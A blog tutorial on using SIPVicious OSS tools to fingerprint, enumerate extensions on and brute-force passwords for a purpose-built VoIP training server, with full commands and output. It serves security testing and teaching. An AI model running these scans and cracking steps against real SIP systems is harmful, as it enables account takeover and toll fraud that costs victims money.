Recently, we put out a target server on the Internet at demo.sipvicious.pro which hosts a Kamailio Server handling SIP over UDP,
TCP, TLS as well as WebSockets. Behind that, the observant reader will soon discover that an Asterisk
server handles the voicemail and echo services. This is actually a fully functioning (real) VoIP system that’s ready to be attacked.
Therefore, in combination, these software packages allow us to reproduce
a number of common security vulnerabilities affecting VoIP and WebRTC systems.
Please do note that the instructions in this post are specific to SIPVicious OSS (SVOSS) which is freely available on our GitHub.
You’re encouraged to follow along by copying and pasting the commands after installing SVOSS. So let’s get started with our tutorial!
But before we get going, if what you really need is a professional VoIP Penetration Testing service, get in touch.
Reconnaissance
The preliminary stage in every [VoIP pentest](https://www.enablesecurity.com/voip-penetration-testing/ is to thoroughly know what our target consists of. We start off with the following test trying to map our target using svmap:
sipvicious_svmap demo.sipvicious.pro -vv
Which returns the following:
DEBUG:root:started logging
DEBUG:root:parsing range of ports: 5060
DEBUG:DrinkOrSip:external ip was not set
INFO:DrinkOrSip:trying to get self ip .. might take a while
DEBUG:DrinkOrSip:External ip: 127.0.1.1:5060
DEBUG:DrinkOrSip:Compact mode: False
DEBUG:DrinkOrSip:From: sipvicious <sip:100@1.1.1.1>
INFO:root:start your engines
DEBUG:DrinkOrSip:binding to any:5060
DEBUG:DrinkOrSip:sending packet to 172.104.142.43:5060
DEBUG:DrinkOrSip:packet: 'OPTIONS sip:100@172.104.142.43 SIP/2.0\r\nVia: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-3830020777;rport\r\nMax-Forwards: 70\r\nTo: "sipvicious"<sip:100@1.1.1.1>\r\nFrom: "sipvicious"<sip:100@1.1.1.1>;tag=6163363838653262313363340134303835343431343531\r\nUser-Agent: friendly-scanner\r\nCall-ID: 305570484479776437460458\r\nContact: sip:100@127.0.1.1:5060\r\nCSeq: 1 OPTIONS\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n'
DEBUG:DrinkOrSip:no more hosts to scan
DEBUG:DrinkOrSip:Making sure that no packets get lost
DEBUG:DrinkOrSip:Come to daddy
DEBUG:DrinkOrSip:running fingerPrintPacket()
DEBUG:DrinkOrSip:Fingerprint: disabled
DEBUG:DrinkOrSip:Uaname: kamailio (5.3.4 (x86_64/linux))
INFO:DrinkOrSip:172.104.142.43:5060 -> 172.104.142.43:5060 -> kamailio (5.3.4 (x86_64/linux)) -> disabled
INFO:root:we have 1 devices
+---------------------+---------------------------------+-------------+
| SIP Device | User Agent | Fingerprint |
+=====================+=================================+=============+
| 172.104.142.43:5060 | kamailio (5.3.4 (x86_64/linux)) | disabled |
+---------------------+---------------------------------+-------------+
INFO:root:Total time: 0:00:03.399058
Sure enough, svmap has correctly identified the Kamailio server as well as the version that is handling the
SIP over UDP.
Next up we choose to test svmap against a common known extension 1000 by running the following command:
sipvicious_svmap demo.sipvicious.pro -e 1000 -vv
DEBUG:root:started logging
DEBUG:root:parsing range of ports: 5060
DEBUG:DrinkOrSip:external ip was not set
INFO:DrinkOrSip:trying to get self ip .. might take a while
DEBUG:DrinkOrSip:External ip: 127.0.1.1:5060
DEBUG:DrinkOrSip:Compact mode: False
DEBUG:DrinkOrSip:From: sipvicious <sip:100@1.1.1.1>
INFO:root:start your engines
DEBUG:DrinkOrSip:binding to any:5060
DEBUG:DrinkOrSip:sending packet to 172.104.142.43:5060
DEBUG:DrinkOrSip:packet: 'OPTIONS sip:1000@172.104.142.43 SIP/2.0\r\nVia: SIP/2.0/UDP 127.0.1.1:5060;branch=z9hG4bK-1837251363;rport\r\nMax-Forwards: 70\r\nTo: "sipvicious"<sip:100@1.1.1.1>\r\nFrom: "sipvicious"<sip:100@1.1.1.1>;tag=6163363838653262313363340131363431323430343739\r\nUser-Agent: friendly-scanner\r\nCall-ID: 157556618554748860470383\r\nContact: sip:1000@127.0.1.1:5060\r\nCSeq: 1 OPTIONS\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n'
DEBUG:DrinkOrSip:no more hosts to scan
DEBUG:DrinkOrSip:Making sure that no packets get lost
DEBUG:DrinkOrSip:Come to daddy
DEBUG:DrinkOrSip:running fingerPrintPacket()
DEBUG:DrinkOrSip:Fingerprint: disabled
DEBUG:DrinkOrSip:Uaname: Asterisk PBX 17.4.0
INFO:DrinkOrSip:172.104.142.43:5060 -> 172.104.142.43:5060 -> Asterisk PBX 17.4.0 -> disabled
INFO:root:we have 1 devices
+---------------------+---------------------+-------------+
| SIP Device | User Agent | Fingerprint |
+=====================+=====================+=============+
| 172.104.142.43:5060 | Asterisk PBX 17.4.0 | disabled |
+---------------------+---------------------+-------------+
INFO:root:Total time: 0:00:03.626500
It is clearly visible that svmap now returns a different response than the previous test. The reason behind this
is that the request for the extension 1000 (due to the nature of it being a valid extension) is passed on to be
handled by the Asterisk server.
Identifying Extensions
Now since we have more or less properly mapped the target, we should now try enumerating the extensions, shouldn’t
we? And svwar is right there waiting for us! Lets try it within a short range of extensions:
sipvicious_svwar demo.sipvicious.pro -e 1000-2000
INFO:TakeASip:trying to get self ip .. might take a while
INFO:root:start your engines
INFO:TakeASip:Ok SIP device found
INFO:TakeASip:extension '1000' exists - requires authentication
INFO:TakeASip:extension '1001' exists - requires authentication
INFO:TakeASip:extension '1002' exists - requires authentication
INFO:TakeASip:extension '1003' exists - requires authentication
INFO:TakeASip:extension '1004' exists - requires authentication
INFO:TakeASip:extension '1005' exists - requires authentication
INFO:TakeASip:extension '1006' exists - requires authentication
INFO:TakeASip:extension '1007' exists - requires authentication
INFO:TakeASip:extension '1008' exists - requires authentication
INFO:TakeASip:extension '1009' exists - requires authentication
INFO:TakeASip:extension '1100' exists - requires authentication
INFO:TakeASip:extension '1200' exists - requires authentication
INFO:TakeASip:extension '1300' exists - requires authentication
INFO:TakeASip:extension '1400' exists - requires authentication
INFO:TakeASip:extension '2000' exists - requires authentication
INFO:root:we have 15 extensions
+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 1000 | reqauth |
+-----------+----------------+
| 1001 | reqauth |
+-----------+----------------+
| 1002 | reqauth |
+-----------+----------------+
| 1003 | reqauth |
+-----------+----------------+
| 1004 | reqauth |
+-----------+----------------+
| 1005 | reqauth |
+-----------+----------------+
| 1006 | reqauth |
+-----------+----------------+
| 1007 | reqauth |
+-----------+----------------+
| 1008 | reqauth |
+-----------+----------------+
| 1009 | reqauth |
+-----------+----------------+
| 1100 | reqauth |
+-----------+----------------+
| 1200 | reqauth |
+-----------+----------------+
| 1300 | reqauth |
+-----------+----------------+
| 1400 | reqauth |
+-----------+----------------+
| 2000 | reqauth |
+-----------+----------------+
INFO:root:Total time: 0:00:13.111840
At this point you might be getting excited since svwar surprisingly detected 15 extensions correctly.
Cracking ’em
We know what you’re thinking of right now, lets get into it by trying to crack the first extension
with svcrack!
sipvicious_svcrack demo.sipvicious.pro -u 1000 -v
INFO:ASipOfRedWine:trying to get self ip .. might take a while
INFO:root:scan started at 2020-06-08 13:02:16.878686
INFO:ASipOfRedWine:no more passwords
WARNING:root:found nothing
INFO:root:Total time: 0:00:21.078077
Hmm, not so easy right? Let’s try to find out what is happening under the hood by adding another -v flag:
sipvicious_svcrack demo.sipvicious.pro -u 1000 -v
DEBUG:root:started logging
DEBUG:ASipOfRedWine:external ip was not set
INFO:ASipOfRedWine:trying to get self ip .. might take a while
INFO:root:scan started at 2020-06-08 13:02:43.097516
DEBUG:ASipOfRedWine:binding to any:5060
DEBUG:ASipOfRedWine:trying 1000
DEBUG:ASipOfRedWine:trying 100
DEBUG:ASipOfRedWine:trying 101
DEBUG:ASipOfRedWine:trying 102
DEBUG:ASipOfRedWine:trying 103
...
DEBUG:ASipOfRedWine:trying 998
DEBUG:ASipOfRedWine:trying 999
INFO:ASipOfRedWine:no more passwords
WARNING:root:found nothing
INFO:root:Total time: 0:00:21.036321
So as we can see the default password set for svcrack is a numeric integer set ranging from 100 to 999. So
we can probably tweak the commands a bit for a more fruitful result. Using the --help flag for svcrack we
can see there is an --enabledefaults flag which tries common passwords for extensions. Let us try out that now:
sipvicious_svcrack demo.sipvicious.pro -u 1000 --enabledefaults -v
INFO:ASipOfRedWine:trying to get self ip .. might take a while
INFO:root:scan started at 2020-06-08 13:10:34.564333
INFO:ASipOfRedWine:The password for 1000 is 1500
INFO:root:we have 1 cracked users
+-----------+----------+
| Extension | Password |
+===========+==========+
| 1000 | 1500 |
+-----------+----------+
INFO:root:Total time: 0:00:00.897193
Now that worked and we know that the extension 1000 has a password of 1500. This could also be replicated by
specifying the --range flag with a number set:
sipvicious_svcrack demo.sipvicious.pro -u 1000 --range 1000-2000 -v
INFO:ASipOfRedWine:trying to get self ip .. might take a while
INFO:root:scan started at 2020-06-08 13:10:34.564333
INFO:ASipOfRedWine:The password for 1000 is 1500
INFO:root:we have 1 cracked users
+-----------+----------+
| Extension | Password |
+===========+==========+
| 1000 | 1500 |
+-----------+----------+
INFO:root:Total time: 0:00:00.897193
Conclusion
From there on, an attacker might abuse these credentials to make long distance calls or perhaps calls to premium numbers. In our case, this system does not allow for PSTN calls so such attempts will be futile. That said, on a live system connected to PSTN, this could lead to profits for the attacker and, unfortunately, huge losses for the victim.
The SIPVicious OSS is a powerful set of tools which can be used to identify the most common well-known loopholes related to SIP. In this post, we have seen how to easily test the tools against a server that is set up for training purposes. We hope that this has been a good starting place for security testers learning about SIP security and that it inspires you to try other options that are available in SIPVicious OSS.
To learn more about what we can do during our VoIP penetration testing services, get in touch.